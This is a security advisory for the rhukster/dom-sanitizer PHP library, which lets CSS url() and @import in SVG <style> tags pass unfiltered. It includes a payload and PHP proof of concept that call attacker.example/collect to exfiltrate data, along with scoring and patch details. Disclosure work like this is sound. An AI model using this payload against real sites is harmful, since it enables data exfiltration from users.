rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives

Description

Summary

DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.

Details

In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.

Vulnerable code (src/DOMSanitizer.php, line 31):

&#x27;svg&#x27; =&gt; [&#x27;style&#x27;, &#x27;path&#x27;, &#x27;rect&#x27;, &#x27;circle&#x27;, ...],

The following payload survives sanitize() intact:

&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;
  &lt;style&gt;* { background: url(https://attacker.example/collect); }&lt;/style&gt;
&lt;/svg&gt;

PoC

&lt;?php
require &#x27;vendor/autoload.php&#x27;;
use Rhukster\DomSanitizer\DOMSanitizer;

$svg = &#x27;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;&lt;style&gt;* { background: url(https://attacker.example/collect); }&lt;/style&gt;&lt;/svg&gt;&#x27;;
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$output = $sanitizer-&gt;sanitize($svg);
echo $output; // &lt;style&gt; with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)

Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.

Impact

Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-04-10 21:08:30 UTC
Updated
2026-04-24 20:48:45 UTC
GitHub reviewed
2026-04-10 21:08:30 UTC
NVD published
2026-04-17

EPSS Score

Score Percentile
0.03% 9.03%

CVSS Scores

Base score Version Severity Vector
4.7 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:C)
Breaking this can reach past the original component and bite other resources—bigger blast radius.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Credits

  • morimori-dev (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
composer rhukster/dom-sanitizer < 1.0.10 1.0.10

References

cvelogic Threat Intelligence